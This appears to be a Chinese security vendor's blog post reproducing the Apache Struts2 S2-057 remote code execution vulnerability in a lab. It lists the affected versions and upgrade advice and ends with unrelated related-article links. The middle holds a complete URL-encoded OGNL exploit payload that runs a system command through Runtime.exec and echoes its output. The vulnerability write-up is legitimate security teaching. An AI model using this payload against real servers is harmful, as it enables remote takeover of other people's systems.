网站apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现

简介: S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。

S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。

目前我们SINE安全对该S2-057漏洞的测试,发现受影响的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的对该S2-057漏洞进行了修复。

通过国外曝出来的漏洞poc,我们来介绍下Struts2漏洞该如何的利用:

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。

我们首先来搭建下struts2的环境,找一台windows服务器,使用一键部署工具部署好测试环境,vulhub环境也搭建好如下图:

接下来就是Struts2漏洞的利用与复现过程:

访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action

将${(sine+sine)}里的内容换成exp,EXP内容如下:

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action

复制exp内容到浏览器执行,发现服务器会直接运行计算器如下图:

S2-057漏洞修复建议:

升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方已经做好漏洞补丁,完全兼容。

专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.
相关文章
|
4月前
|
域名解析 Linux Apache
Linux Apache服务详解——虚拟网站主机功能实战
Linux Apache服务详解——虚拟网站主机功能实战
120 5
|
29天前
|
关系型数据库 MySQL 应用服务中间件
win7系统搭建PHP+Mysql+Apache环境+部署ecshop项目
这篇文章介绍了如何在Windows 7系统上搭建PHP、MySQL和Apache环境,并部署ECShop项目,包括安装配置步骤、解决常见问题以及使用XAMPP集成环境的替代方案。
37 1
win7系统搭建PHP+Mysql+Apache环境+部署ecshop项目
|
3月前
|
存储 Apache 文件存储
在Apache环境下为Web网站增设访问控制:实战指南
在Apache服务器上保护网站资源涉及启用访问控制模块(`mod_authz_core`和`mod_auth_basic`),在`.htaccess`或`httpd.conf`中设定权限,如限制对特定目录的访问。创建`.htpasswd`文件存储用户名和密码,并使用`htpasswd`工具管理用户。完成配置后重启Apache服务,访问受限目录时需提供有效的用户名和密码。对于高安全性需求,可考虑更复杂的认证方法。【6月更文挑战第20天】
122 4
|
4月前
|
安全 Linux 网络安全
Linux _ apache服务器部署 不同域名—访问不同网站(多网站)
Linux _ apache服务器部署 不同域名—访问不同网站(多网站)
111 1
|
4月前
|
Shell Linux Apache
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 apachectl命令 使用教程
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 apachectl命令 使用教程
198 1
|
4月前
|
SQL Apache 流计算
Apache Flink官方网站提供了关于如何使用Docker进行Flink CDC测试的文档
【2月更文挑战第25天】Apache Flink官方网站提供了关于如何使用Docker进行Flink CDC测试的文档
640 3
|
4月前
|
Linux Apache
CentOS 7 源码安装LAMP环境源 和apache监听别的端口
CentOS 7 源码安装LAMP环境源 和apache监听别的端口
56 0
|
4月前
|
Shell Linux 网络安全
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 httpd命令 使用指南
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 httpd命令 使用指南
71 0
|
25天前
|
存储 消息中间件 Java
Apache Flink 实践问题之原生TM UI日志问题如何解决
Apache Flink 实践问题之原生TM UI日志问题如何解决
31 1
|
9天前
|
SQL 消息中间件 关系型数据库
Apache Doris Flink Connector 24.0.0 版本正式发布
该版本新增了对 Flink 1.20 的支持,并支持通过 Arrow Flight SQL 高速读取 Doris 中数据。

推荐镜像

更多